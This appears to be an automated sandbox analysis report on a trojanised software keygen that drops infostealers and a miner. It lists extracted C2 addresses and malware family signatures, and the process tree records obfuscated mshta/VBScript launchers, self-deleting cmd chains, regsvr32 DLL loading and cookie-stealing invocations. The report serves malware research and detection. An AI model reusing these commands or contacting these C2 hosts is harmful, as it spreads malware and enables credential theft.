Resubmissions

22-04-2021 16:45

210422-k9xv9nxcbx 10

21-04-2021 17:01

210421-pl1rqeqs7n 10

21-04-2021 12:53

210421-gkr26l4mvs 10

20-04-2021 19:55

210420-nex8ep6zhj 10

20-04-2021 15:03

210420-v63pp18knj 10

Analysis

  • max time kernel
    1800s
  • max time network
    1798s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    20-04-2021 19:55

General

Malware Config

Extracted

Family

azorult

C2

http://kvaka.li/1210776429.php

Extracted

Family

fickerstealer

C2

212.64.215.73:81

sodaandcoke.top:80

Extracted

Family

raccoon

Botnet

562d987fd49ccf22372ac71a85515b4d288facd7

Attributes
  • url4cnc

    https://telete.in/j90dadarobin

rc4.plain
rc4.plain

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Windows security bypass 2 TTPs
  • fickerstealer

    Ficker is an infostealer written in Rust and ASM.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 2 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 2 IoCs
  • Executes dropped EXE 64 IoCs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 64 IoCs
  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification 2 TTPs 2 IoCs
  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 6 IoCs
  • Checks for any installed AV software in registry 1 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 4 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 18 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 15 IoCs
  • Suspicious use of SetThreadContext 29 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 27 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 8 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 3 IoCs
  • Download via BitsAdmin 1 TTPs 2 IoCs
  • Kills process with taskkill 6 IoCs
  • Modifies Internet Explorer Phishing Filter 1 TTPs 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 59 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 7 IoCs
  • Runs ping.exe 1 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious behavior: MapViewOfSection 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 16 IoCs
  • Suspicious use of SetWindowsHookEx 23 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Schedule
    1⤵
    • Drops file in System32 directory
    PID:404
    • C:\Users\Admin\AppData\Roaming\jddeecj
      C:\Users\Admin\AppData\Roaming\jddeecj
      2⤵
      • Suspicious use of SetThreadContext
      PID:5324
      • C:\Users\Admin\AppData\Roaming\jddeecj
        C:\Users\Admin\AppData\Roaming\jddeecj
        3⤵
        • Checks SCSI registry key(s)
        PID:5260
    • C:\Windows\system32\rundll32.exe
      C:\Windows\system32\rundll32.exe "C:\Program Files (x86)\PQUvOF\PQUvOF.dll",PQUvOF
      2⤵
      • Windows security modification
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      PID:2512
    • C:\Users\Admin\AppData\Roaming\tbdeecj
      C:\Users\Admin\AppData\Roaming\tbdeecj
      2⤵
      • Suspicious use of SetThreadContext
      PID:2192
      • C:\Users\Admin\AppData\Roaming\tbdeecj
        "C:\Users\Admin\AppData\Roaming\tbdeecj"
        3⤵
        • Checks SCSI registry key(s)
        PID:4332
    • C:\Users\Admin\AppData\Roaming\jddeecj
      C:\Users\Admin\AppData\Roaming\jddeecj
      2⤵
      • Suspicious use of SetThreadContext
      PID:6952
      • C:\Users\Admin\AppData\Roaming\jddeecj
        C:\Users\Admin\AppData\Roaming\jddeecj
        3⤵
        • Checks SCSI registry key(s)
        PID:4152
    • C:\Users\Admin\AppData\Roaming\tbdeecj
      C:\Users\Admin\AppData\Roaming\tbdeecj
      2⤵
      • Suspicious use of SetThreadContext
      PID:6084
      • C:\Users\Admin\AppData\Roaming\tbdeecj
        "C:\Users\Admin\AppData\Roaming\tbdeecj"
        3⤵
        • Checks SCSI registry key(s)
        PID:7456
    • C:\Users\Admin\AppData\Roaming\jddeecj
      C:\Users\Admin\AppData\Roaming\jddeecj
      2⤵
      • Suspicious use of SetThreadContext
      PID:7876
      • C:\Users\Admin\AppData\Roaming\jddeecj
        C:\Users\Admin\AppData\Roaming\jddeecj
        3⤵
        • Checks SCSI registry key(s)
        PID:2024
    • C:\Users\Admin\AppData\Roaming\tbdeecj
      C:\Users\Admin\AppData\Roaming\tbdeecj
      2⤵
      • Suspicious use of SetThreadContext
      PID:7184
      • C:\Users\Admin\AppData\Roaming\tbdeecj
        "C:\Users\Admin\AppData\Roaming\tbdeecj"
        3⤵
        • Checks SCSI registry key(s)
        PID:5180
  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Browser
    1⤵
      PID:2824
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s WpnService
      1⤵
      • Modifies registry class
      PID:2740
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2680
    • C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" https://keygenit.com/d/8550ceeb125094q2480.html
      1⤵
      • Modifies Internet Explorer Phishing Filter
      • Modifies Internet Explorer settings
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2840
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2840 CREDAT:82945 /prefetch:2
        2⤵
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:2496
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
      1⤵
        PID:2404
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
        1⤵
          PID:2396
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
          1⤵
            PID:1848
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s SENS
            1⤵
              PID:1400
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s UserManager
              1⤵
                PID:1236
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s Themes
                1⤵
                  PID:1224
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                  1⤵
                    PID:1076
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                    1⤵
                      PID:336
                    • \??\c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s BITS
                      1⤵
                      • Suspicious use of SetThreadContext
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:3120
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k SystemNetworkService
                        2⤵
                        • Checks processor information in registry
                        • Modifies registry class
                        PID:4476
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k SystemNetworkService
                        2⤵
                        • Drops file in System32 directory
                        • Checks processor information in registry
                        • Modifies registry class
                        PID:4260
                    • C:\Windows\System32\rundll32.exe
                      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                      1⤵
                        PID:2836
                      • C:\Users\Admin\AppData\Local\Temp\Temp2_Jasc_Paint_Shop_Pro_9_0_serial_key_gen_by_TSRh.zip\Jasc_Paint_Shop_Pro_9_0_serial_key_gen_by_TSRh.exe
                        "C:\Users\Admin\AppData\Local\Temp\Temp2_Jasc_Paint_Shop_Pro_9_0_serial_key_gen_by_TSRh.zip\Jasc_Paint_Shop_Pro_9_0_serial_key_gen_by_TSRh.exe"
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3132
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2572
                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
                            keygen-pr.exe -p83fsase3Ge
                            3⤵
                            • Executes dropped EXE
                            • Suspicious use of WriteProcessMemory
                            PID:2384
                            • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
                              "C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
                              4⤵
                              • Executes dropped EXE
                              • Suspicious use of WriteProcessMemory
                              PID:3456
                              • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
                                C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
                                5⤵
                                  PID:4108
                            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
                              keygen-step-1.exe
                              3⤵
                              • Executes dropped EXE
                              PID:3464
                            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe
                              keygen-step-5.exe
                              3⤵
                              • Executes dropped EXE
                              • Suspicious use of WriteProcessMemory
                              PID:3772
                              • C:\Windows\SysWOW64\mshta.exe
                                "C:\Windows\System32\mshta.exe" vBsCriPt: CLOse ( cReatEoBJEcT ( "wSCrIPT.sHelL" ). RUn ( "cmD.EXe /Q /C COpY /y ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe"" uQLGv.exe > Nul && StArT uQLGv.exe -P5x35C~QWmaAR8osCre & iF """" == """" for %V In ( ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe"" ) do taskkill -IM ""%~nXV"" -F > nul " , 0) )
                                4⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1428
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /Q /C COpY /y "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe" uQLGv.exe> Nul && StArT uQLGv.exe -P5x35C~QWmaAR8osCre & iF "" == "" for %V In ( "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe" ) do taskkill -IM "%~nXV" -F> nul
                                  5⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:4212
                                  • C:\Users\Admin\AppData\Local\Temp\uQLGv.exe
                                    uQLGv.exe -P5x35C~QWmaAR8osCre
                                    6⤵
                                    • Executes dropped EXE
                                    PID:4400
                                    • C:\Windows\SysWOW64\mshta.exe
                                      "C:\Windows\System32\mshta.exe" vBsCriPt: CLOse ( cReatEoBJEcT ( "wSCrIPT.sHelL" ). RUn ( "cmD.EXe /Q /C COpY /y ""C:\Users\Admin\AppData\Local\Temp\uQLGv.exe"" uQLGv.exe > Nul && StArT uQLGv.exe -P5x35C~QWmaAR8osCre & iF ""-P5x35C~QWmaAR8osCre "" == """" for %V In ( ""C:\Users\Admin\AppData\Local\Temp\uQLGv.exe"" ) do taskkill -IM ""%~nXV"" -F > nul " , 0) )
                                      7⤵
                                        PID:5096
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /Q /C COpY /y "C:\Users\Admin\AppData\Local\Temp\uQLGv.exe" uQLGv.exe> Nul && StArT uQLGv.exe -P5x35C~QWmaAR8osCre & iF "-P5x35C~QWmaAR8osCre " == "" for %V In ( "C:\Users\Admin\AppData\Local\Temp\uQLGv.exe" ) do taskkill -IM "%~nXV" -F> nul
                                          8⤵
                                            PID:4664
                                        • C:\Windows\SysWOW64\regsvr32.exe
                                          "C:\Windows\System32\regsvr32.exe" .\ma0IL_U1.C_T -u /s
                                          7⤵
                                          • Loads dropped DLL
                                          • Suspicious use of NtCreateThreadExHideFromDebugger
                                          PID:4852
                                      • C:\Windows\SysWOW64\taskkill.exe
                                        taskkill -IM "keygen-step-5.exe" -F
                                        6⤵
                                        • Kills process with taskkill
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4496
                                • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe
                                  keygen-step-2.exe
                                  3⤵
                                  • Executes dropped EXE
                                  • Suspicious use of SetThreadContext
                                  • Modifies system certificate store
                                  PID:2836
                                  • C:\Users\Admin\AppData\Roaming\50C1.tmp.exe
                                    "C:\Users\Admin\AppData\Roaming\50C1.tmp.exe"
                                    4⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    PID:4836
                                    • C:\Windows\SysWOW64\cmd.exe
                                      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\50C1.tmp.exe"
                                      5⤵
                                        PID:4568
                                        • C:\Windows\SysWOW64\timeout.exe
                                          timeout /T 10 /NOBREAK
                                          6⤵
                                          • Delays execution with timeout.exe
                                          PID:4796
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe" >> NUL
                                      4⤵
                                        PID:3128
                                        • C:\Windows\SysWOW64\PING.EXE
                                          ping 127.0.0.1
                                          5⤵
                                          • Runs ping.exe
                                          PID:4388
                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe
                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetThreadContext
                                        PID:5088
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5088 -s 272
                                          5⤵
                                          • Program crash
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:4408
                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
                                      keygen-step-3.exe
                                      3⤵
                                      • Executes dropped EXE
                                      • Suspicious use of WriteProcessMemory
                                      PID:3476
                                      • C:\Windows\SysWOW64\cmd.exe
                                        cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
                                        4⤵
                                        • Suspicious use of WriteProcessMemory
                                        PID:4144
                                        • C:\Windows\SysWOW64\PING.EXE
                                          ping 1.1.1.1 -n 1 -w 3000
                                          5⤵
                                          • Runs ping.exe
                                          PID:4296
                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
                                      keygen-step-4.exe
                                      3⤵
                                      • Executes dropped EXE
                                      • Checks computer location settings
                                      • Suspicious use of WriteProcessMemory
                                      PID:1208
                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX2\Free.exe
                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Free.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • Modifies registry class
                                        • Suspicious use of SetWindowsHookEx
                                        • Suspicious use of WriteProcessMemory
                                        PID:3560
                                        • C:\Windows\SysWOW64\rundll32.exe
                                          "C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
                                          5⤵
                                          • Loads dropped DLL
                                          • Modifies registry class
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          • Suspicious use of WriteProcessMemory
                                          PID:4228
                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX2\JoSetp.exe
                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX2\JoSetp.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4288
                                        • C:\ProgramData\502070.exe
                                          "C:\ProgramData\502070.exe"
                                          5⤵
                                          • Executes dropped EXE
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:1740
                                        • C:\ProgramData\628186.exe
                                          "C:\ProgramData\628186.exe"
                                          5⤵
                                          • Executes dropped EXE
                                          • Adds Run key to start application
                                          PID:4936
                                          • C:\ProgramData\Windows Host\Windows Host.exe
                                            "C:\ProgramData\Windows Host\Windows Host.exe"
                                            6⤵
                                            • Executes dropped EXE
                                            PID:4608
                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe
                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        PID:4912
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /c taskkill /f /im chrome.exe
                                          5⤵
                                            PID:4724
                                            • C:\Windows\SysWOW64\taskkill.exe
                                              taskkill /f /im chrome.exe
                                              6⤵
                                              • Kills process with taskkill
                                              PID:4788
                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe
                                          "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"
                                          4⤵
                                          • Executes dropped EXE
                                          PID:4376
                                          • C:\Users\Admin\AppData\Local\Temp\is-P9J4L.tmp\Install.tmp
                                            "C:\Users\Admin\AppData\Local\Temp\is-P9J4L.tmp\Install.tmp" /SL5="$A0378,235791,152064,C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"
                                            5⤵
                                            • Executes dropped EXE
                                            • Loads dropped DLL
                                            PID:2204
                                            • C:\Users\Admin\AppData\Local\Temp\is-11NUL.tmp\Ultra.exe
                                              "C:\Users\Admin\AppData\Local\Temp\is-11NUL.tmp\Ultra.exe" /S /UID=burnerch1
                                              6⤵
                                              • Drops file in Drivers directory
                                              • Executes dropped EXE
                                              • Adds Run key to start application
                                              PID:1040
                                              • C:\Program Files\Windows Defender\NYKCMGRCRY\ultramediaburner.exe
                                                "C:\Program Files\Windows Defender\NYKCMGRCRY\ultramediaburner.exe" /VERYSILENT
                                                7⤵
                                                • Executes dropped EXE
                                                PID:4524
                                                • C:\Users\Admin\AppData\Local\Temp\is-L8Q5I.tmp\ultramediaburner.tmp
                                                  "C:\Users\Admin\AppData\Local\Temp\is-L8Q5I.tmp\ultramediaburner.tmp" /SL5="$20300,281924,62464,C:\Program Files\Windows Defender\NYKCMGRCRY\ultramediaburner.exe" /VERYSILENT
                                                  8⤵
                                                  • Executes dropped EXE
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious use of FindShellTrayWindow
                                                  PID:4476
                                                  • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                                    "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                                    9⤵
                                                    • Executes dropped EXE
                                                    PID:5104
                                              • C:\Users\Admin\AppData\Local\Temp\e3-6ae30-a8c-615a1-22e1fc2d55050\Mucaeshylucu.exe
                                                "C:\Users\Admin\AppData\Local\Temp\e3-6ae30-a8c-615a1-22e1fc2d55050\Mucaeshylucu.exe"
                                                7⤵
                                                • Executes dropped EXE
                                                • Checks computer location settings
                                                PID:640
                                              • C:\Users\Admin\AppData\Local\Temp\ab-b1e29-cb9-548a7-c3c97dea25264\Vobaehaelihe.exe
                                                "C:\Users\Admin\AppData\Local\Temp\ab-b1e29-cb9-548a7-c3c97dea25264\Vobaehaelihe.exe"
                                                7⤵
                                                • Executes dropped EXE
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:4760
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\aihkg1jq.kjb\gaoou.exe & exit
                                                  8⤵
                                                    PID:7744
                                                    • C:\Users\Admin\AppData\Local\Temp\aihkg1jq.kjb\gaoou.exe
                                                      C:\Users\Admin\AppData\Local\Temp\aihkg1jq.kjb\gaoou.exe
                                                      9⤵
                                                        PID:8012
                                                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                          10⤵
                                                            PID:6748
                                                          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                            10⤵
                                                              PID:5660
                                                            • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                              C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                              10⤵
                                                                PID:8184
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jk5kvr2t.ht1\google-game.exe & exit
                                                            8⤵
                                                              PID:7676
                                                              • C:\Users\Admin\AppData\Local\Temp\jk5kvr2t.ht1\google-game.exe
                                                                C:\Users\Admin\AppData\Local\Temp\jk5kvr2t.ht1\google-game.exe
                                                                9⤵
                                                                • Modifies registry class
                                                                • Suspicious use of SetWindowsHookEx
                                                                PID:7792
                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                  "C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
                                                                  10⤵
                                                                    PID:7964
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\udbdy1ag.ngj\md1_1eaf.exe & exit
                                                                8⤵
                                                                  PID:5160
                                                                  • C:\Users\Admin\AppData\Local\Temp\udbdy1ag.ngj\md1_1eaf.exe
                                                                    C:\Users\Admin\AppData\Local\Temp\udbdy1ag.ngj\md1_1eaf.exe
                                                                    9⤵
                                                                    • Checks whether UAC is enabled
                                                                    PID:6932
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5ywzl2b3.spo\build.exe & exit
                                                                  8⤵
                                                                    PID:6936
                                                                    • C:\Users\Admin\AppData\Local\Temp\5ywzl2b3.spo\build.exe
                                                                      C:\Users\Admin\AppData\Local\Temp\5ywzl2b3.spo\build.exe
                                                                      9⤵
                                                                      • Checks processor information in registry
                                                                      PID:6344
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c taskkill /im build.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\5ywzl2b3.spo\build.exe" & del C:\ProgramData\*.dll & exit
                                                                        10⤵
                                                                          PID:6228
                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                            taskkill /im build.exe /f
                                                                            11⤵
                                                                            • Kills process with taskkill
                                                                            PID:4528
                                                                          • C:\Windows\SysWOW64\timeout.exe
                                                                            timeout /t 6
                                                                            11⤵
                                                                            • Delays execution with timeout.exe
                                                                            PID:4116
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bl0oo50y.w33\askinstall36.exe & exit
                                                                      8⤵
                                                                        PID:6588
                                                                        • C:\Users\Admin\AppData\Local\Temp\bl0oo50y.w33\askinstall36.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\bl0oo50y.w33\askinstall36.exe
                                                                          9⤵
                                                                            PID:1628
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              cmd.exe /c taskkill /f /im chrome.exe
                                                                              10⤵
                                                                                PID:4376
                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                  taskkill /f /im chrome.exe
                                                                                  11⤵
                                                                                  • Kills process with taskkill
                                                                                  PID:3940
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\d101m3by.wk0\KiffApp2.exe & exit
                                                                            8⤵
                                                                              PID:5352
                                                                              • C:\Users\Admin\AppData\Local\Temp\d101m3by.wk0\KiffApp2.exe
                                                                                C:\Users\Admin\AppData\Local\Temp\d101m3by.wk0\KiffApp2.exe
                                                                                9⤵
                                                                                  PID:1040
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rpspr25y.r4w\y1.exe & exit
                                                                                8⤵
                                                                                  PID:5436
                                                                                  • C:\Users\Admin\AppData\Local\Temp\rpspr25y.r4w\y1.exe
                                                                                    C:\Users\Admin\AppData\Local\Temp\rpspr25y.r4w\y1.exe
                                                                                    9⤵
                                                                                      PID:2164
                                                                                  • C:\Windows\System32\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\12qe5vvl.qvs\YHDKVVFSVQ.exe & exit
                                                                                    8⤵
                                                                                      PID:5844
                                                                                      • C:\Users\Admin\AppData\Local\Temp\12qe5vvl.qvs\YHDKVVFSVQ.exe
                                                                                        C:\Users\Admin\AppData\Local\Temp\12qe5vvl.qvs\YHDKVVFSVQ.exe
                                                                                        9⤵
                                                                                          PID:7288
                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX4\main.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\RarSFX4\main.exe"
                                                                                            10⤵
                                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                            PID:5512
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1bip2etg.arv\ABCbrowser.exe /VERYSILENT & exit
                                                                                        8⤵
                                                                                          PID:7912
                                                                                          • C:\Users\Admin\AppData\Local\Temp\1bip2etg.arv\ABCbrowser.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\1bip2etg.arv\ABCbrowser.exe /VERYSILENT
                                                                                            9⤵
                                                                                            • Suspicious use of SetThreadContext
                                                                                            PID:8124
                                                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                              C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                              10⤵
                                                                                                PID:8960
                                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                10⤵
                                                                                                  PID:8952
                                                                                            • C:\Windows\System32\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lv0jt3hz.yqp\toolspab1.exe & exit
                                                                                              8⤵
                                                                                                PID:6944
                                                                                                • C:\Users\Admin\AppData\Local\Temp\lv0jt3hz.yqp\toolspab1.exe
                                                                                                  C:\Users\Admin\AppData\Local\Temp\lv0jt3hz.yqp\toolspab1.exe
                                                                                                  9⤵
                                                                                                  • Suspicious use of SetThreadContext
                                                                                                  PID:6180
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\lv0jt3hz.yqp\toolspab1.exe
                                                                                                    C:\Users\Admin\AppData\Local\Temp\lv0jt3hz.yqp\toolspab1.exe
                                                                                                    10⤵
                                                                                                    • Checks SCSI registry key(s)
                                                                                                    PID:6224
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ilkwcbfz.m2i\inst.exe & exit
                                                                                                8⤵
                                                                                                  PID:5808
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\ilkwcbfz.m2i\inst.exe
